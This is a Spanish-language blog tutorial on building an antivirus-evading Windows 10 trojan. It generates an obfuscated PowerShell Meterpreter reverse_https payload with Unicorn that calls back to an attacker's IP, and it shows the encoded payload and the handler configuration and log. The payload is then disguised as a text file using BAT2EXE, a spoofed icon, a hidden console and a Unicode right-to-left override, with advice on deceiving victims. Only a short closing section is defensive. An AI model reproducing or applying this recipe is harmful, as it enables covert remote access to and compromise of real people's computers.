Metasploit y Windows 10: Creando un payload indetectable (Evadiendo software antivirus)

Payload indetectable windows 10

Anteriormente escribimos un artículo donde mostramos la manera de acceder a un sistema operativo Windows 10 usando metasploit de manera local o remotamente, puedes leer el artículo aquí: Accediendo remotamente a Windows 10 con Metasploit.

Hoy les vamos a mostrar cómo ofuscar el código malicioso para que sea indetectable a los antivirus. Los entusiastas de seguridad siempre buscan exploits de día cero que pueden eludir con éxito las características de seguridad de sistemas cómo Windows 10. Se han llevado a cabo numerosas investigaciones para crear malware indetectable y proyectos completos de GitHub dedicados a automatizar la creación de payloads indetectables como WinPayloads, Veil v3 y TheFatRat.

Todo lo que se explicará en esta guía se hace con fines explícitamente educativos y bajo un laboratorio propiedad de Security Hack Labs, los usos que se le puedan dar a este tutorial depende del usuario y es absolutamente responsabilidad del él los daños que pueda causar.

Con un poco de ingeniería social, engañar a un usuario objetivo para que abra un archivo malicioso puede ser tan simple como inyectar un poco de Unicode en el nombre del archivo. Por ejemplo, el siguiente GIF muestra un ejecutable de Windows (EXE) disfrazado para aparecer como un archivo de texto normal (TXT), siempre que "Ocultar extensiones para tipos de archivos conocidos" esté deshabilitado en las Opciones del Explorador de archivos.

Disfrazado

No se equivoque, el archivo de la derecha es un archivo ejecutable y, lo que es más importante, el sistema operativo Windows lo reconoce como ejecutable. Cuando se hace clic en el archivo de texto falso, abre un nuevo documento usando el Bloc de notas, el editor de texto predeterminado en Windows 10. Después de abrir el Bloc de notas, ejecuta silenciosamente una carga incorporada de PowerShell (creada con Unicorn) que crea una puerta trasera a la ahora comprometida computadora con Windows .

Unicorn, creado por TrustedSec, es una herramienta sencilla diseñada para ayudar a los testers de penetración con los ataques de PowerShell e inyección de Payloads del tipo shellcode sofisticados directamente en la memoria. Las técnicas utilizadas por Unicorn se basan en el trabajo de Matthew Graeber y el fundador de TrustedSec, David Kennedy.

Llegando a este punto damos por hecho que usted tiene instalada la última versión de Metasploit que es un requisito para realizar el ataque.

· Instalación de Unicorn

Si usted ha seguido nuestra guía Convirtiendo ArchLinux en una distribución de pentesting entonces puede utilizar el siguiente comando en su sistema:

pacman -S unicorn-powershell

unicorn-powershell --help

Si utiliza otra distribución, entonces clone el repositorio Github usando:

git clone https://github.com/trustedsec/unicorn

cd unicorn

./unicorn.py --help

Hay varias opciones Unicorn interesantes y efectivas. En este artículo, me centraré en la opción  PowerShell y Meterpreter.

· Generando el Payload

Para generar nuestro Payload usaremos el siguiente comando:

 ./unicorn.py windows/meterpreter/reverse_https <IP-ATACANTE> <PUERTO> 

Unicorn utilizará el módulo Metasploit reverse_https para conectarse a la dirección IP del atacante utilizando el puerto especificado. Si aún no sabe cómo redirigir puertos para realizar un ataque fuera de la red local, lo invito a leer Accediendo remotamente a Windows 10 con Metasploit

Cuando Unicorn termine de generar el payload, se crearán dos nuevos archivos. El primero es powershell_attack.txt que se puede ver utilizando el comando cat powershell_attack.txt. Esto revela el código de PowerShell que se ejecutará en la máquina de Windows 10 de destino y que crea la conexión reversa.

[email protected]:~/Shared$ cat powershell_attack.txt 
powershell /w 1 /C "s''v lKE -;s''v wxc e''c;s''v bC ((g''v lKE).value.toString()+(g''v wxc).value.toString());powershell (g''v bC).value.toString() ('JAB6AGcAawAgAD0AIAAnACQASgBRAHUAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAG...')"

El otro archivo creado por Unicorn es unicorn.rc, un archivo de recursos que automatizará la  configuración de msfconsole.

[email protected]:~$ cat unicorn.rc 
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.6
set LPORT 444
set ExitOnSession false
set EnableStageEncoding true
exploit -j

· Inicio de metasploit usando el archivo de recursos

Para iniciar Metasploit, ejecute el comando sudo msfconsole -r unicorn.rc.

[email protected]:~$ sudo msfconsole -r unicorn.rc 
[sudo] password for sechacklabs: 
                                                  

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v4.16.60-dev                         ]
+ -- --=[ 1772 exploits - 1008 auxiliary - 307 post       ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing unicorn.rc for ERB directives.
resource (unicorn.rc)> use multi/handler
resource (unicorn.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (unicorn.rc)> set LHOST 192.168.0.6
LHOST => 192.168.0.6
resource (unicorn.rc)> set LPORT 444
LPORT => 444
resource (unicorn.rc)> set ExitOnSession false
ExitOnSession => false
resource (unicorn.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (unicorn.rc)> exploit -j
[*] Exploit running as background job 0.
msf exploit(multi/handler) > 
[*] Started HTTPS reverse handler on https://192.168.0.6:444

El archivo de recursos activará automáticamente el controlador ( multi/handler ), configurará el tipo de carga ( windows/meterpreter/reverse_https ), configurará la dirección IP del atacante ( LHOST ), configurará el número de puerto ( LPORT ), activará la codificación de stager ( EnableStageEncoding ), e iniciará el oyente msfconsole ( exploit -j ).

En este punto, todo en el lado del atacante está configurado y listo para las conexiones entrantes. Ahora solo se trata de verificar que la carga útil funcione y evite de manera efectiva Windows Defender y el software antivirus.

· Guardando el Payload

Los siguientes pasos requieren un sistema operativo Windows. Recomiendo usar una máquina virtual (VM) de Windows 10 en VirtualBox.

Antes de ir más lejos, el Payload de PowerShell creado anteriormente debería moverse al sistema de Windows y guardarse como payload.bat usando el Bloc de notas o un editor de texto preferido. El archivo payload.bat se manipulará para que aparezca como un archivo de texto normal en los pasos a seguir.

· Descarga los íconos de Windows 10

Los iconos de Windows 10 deberán descargarse para comenzar a transformar el archivo payload.bat en un archivo de texto falso. Estos iconos se usarán para falsificar el ícono del archivo. Puede descargar los íconos de Windows 10 usando:

git clone 'https://github.com/B00merang-Project/Windows-10-Icons'

Este repositorio puede no contener réplicas exactas de los iconos integrados de Windows 10, pero se parecen lo suficiente y servirá muy bien para los propósitos de este artículo. Si los lectores son capaces de diseñar íconos o ubicar mejores íconos en línea, recomiendo su uso.

Estoy usando text-x-generic.png ubicado en el directorio Windows-10-Icons/256x256/mimetypes/, pero cualquier PNG funcionará para continuar.

· Convierta el archivo PNG a formato ICO

El archivo PNG deberá convertirse al formato de icono de Windows ICO. Esto se puede hacer usando herramientas en línea como ConvertICO. Simplemente cargue el archivo PNG deseado en el sitio web y lo reproducirá en formato ICO. Guarde el nuevo ICO con el nombre de archivo fakeTextFile.ico.

· Instale BAT2EXE

Esta es una gran herramienta para convertir archivos BAT a ejecutables de Windows.

Para descargar B2E, el sitio web requiere que los usuarios exploten criptomonedas durante varios minutos a cambio de descargar su software gratuito. Si los lectores desean dar soporte al desarrollador de B2E, diríjase a la página de descargas y obtenga el último software B2E. De lo contrario, los lectores pueden usar mi espejo de una versión un poco más antigua de B2E.

Usando mi espejo GitLab, en Windows, visite la URL a continuación para descargar B2E.

https://gitlab.com/edu4rdshl/trash/raw/master/Bat_To_Exe_Converter.zip

Descomprima la descarga y ejecute el archivo "Bat_To_Exe_Converter_(Installer).exe" para instalarlo.

· Importe el payload en formato  BAT

Cuando haya terminado, inicie B2E y haga clic en el botón "Open" para importar el archivo payload.bat creado anteriormente.

Importando el payload

· Troyanizar el Payload

Luego, agregue la palabra "notepad" a la parte superior de la función payload.bat y haga clic en "Save". Esto hará que el ejecutable abra el Bloc de notas en el equipo con Windows antes de ejecutar la carga útil de PowerShell. Hacer esto hará que el usuario objetivo crea que el archivo en el que acaba de hacer clic es un archivo de texto legítimo.

Troyanizar payload

Ahora, hay mucho que se puede hacer para convencer aún más a alguien de que el archivo es legítimo. Por ejemplo, si el Bloc de notas no es su editor de texto predeterminado, podría parecer sospechoso que este archivo abra el Bloc de notas cuando otros archivos de texto abren Notepad ++, un popular editor de texto de terceros. Por lo tanto, puede ser conveniente mejorar el BAT para abrir un programa predeterminado, en lugar de un Bloc de notas. Además, abrir un Bloc de notas en blanco cuando se informa que el archivo tiene 12 KB también puede ser sospechoso, por lo que encontrar una forma de producir texto o troyanizar el EXE para descargar primero un archivo de texto real puede ayudar a mejorar la efectividad de dichos ataques.

En aras de la simplicidad, continuaré como está, con el BAT abriendo un Bloc de notas en blanco. Se espera que esto demuestre cuán fácil es crear troyanos y llevar a los lectores por el camino correcto para desarrollar este ataque.

· Convertir y exportar la carga útil

Una vez hecho esto, marque la opción "Icon" para habilitarlo, e importe el icono de fakeTextFile.ico creado en el paso anterior con el botón "...". Luego, cambie Exe-Format a "64 Bit | Windows Invisible" para evitar que aparezcan terminales cuando el usuario objetivo abre el archivo.

Convertir y exportar

Haga clic en el botón "Convertir" para crear el EXE y guarde el nombre de archivo como fake.exe.

Después de guardar el fake.exe en el escritorio y colocarlo junto a un archivo de texto real, los lectores pueden notar una fina línea roja en el ícono falso que no existe en el ícono del archivo de texto real. Esto se puede solucionar fácilmente mediante el uso de un mejor conjunto de iconos de Windows 10 o mediante el uso de un tipo diferente de archivo para suplantar.

· Falsificar la extensión de archivo con Unicode

El problema más grande es la extensión de archivo. Gracias a la opción "Ocultar extensiones para tipos de archivos conocidos" en las Opciones del Explorador de archivos, el sistema operativo Windows no oculta las extensiones de archivo. Para evitar esto, use un carácter Unicode llamado "Override Right-to-Left" (RLO) para invertir el orden de los caracteres que se muestran en el nombre del archivo. Es importante entender que, cabe mencionar que los carácteres no se están invirtiendo en realidad, la forma en que Windows muestra los caracteres es la que se está invirtiendo. Windows aún reconocerá la extensión de archivo como EXE.

RLO

Como se ve en el GIF anterior, el carácter RLO invisible se inyecta entre el nombre del archivo ("fake") y la extensión del archivo fake ("txt"). Todo lo que el carácter RLO está haciendo aquí es voltear el orden en que se muestran los caracteres en el nombre del archivo. Desafortunadamente, el "exe" debe permanecer en el nombre de archivo falso.

· Cómo protegerse contra ataques de suplantación de extensión de archivo

Dado que nuestro objetivo general aquí era crear un payload indetectable, el software antivirus no es realmente una buena opción para protegerse contra este tipo de ataques de suplantación de extensión de archivos.

Una cosa que puedes hacer es simplemente ponerte la lupa cuando mires archivos que descargas de Internet. En nuestro caso anterior, no podrá decir a primera vista que el ícono no es lo mismo que otros archivos de texto, pero en un examen más detallado, verá que hay algo sospechoso.

Si sospecha de un archivo o su fuente, intente cambiarle el nombre. Tenga cuidado de no hacer doble clic en él. En su lugar, haga clic con el botón derecho en el archivo y elija la opción "Cambiar nombre" en el menú contextual. Si se utiliza Unicode, el cambio de nombre del archivo utilizando caracteres encontrados en los teclados estándar eliminará el Unicode, revelando su verdadera extensión.

Síguenos en FacebookTwitterunete a nuestra charla en Riotúnete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, especialista en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Entusiasta de la tecnología y amante de GNU/Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]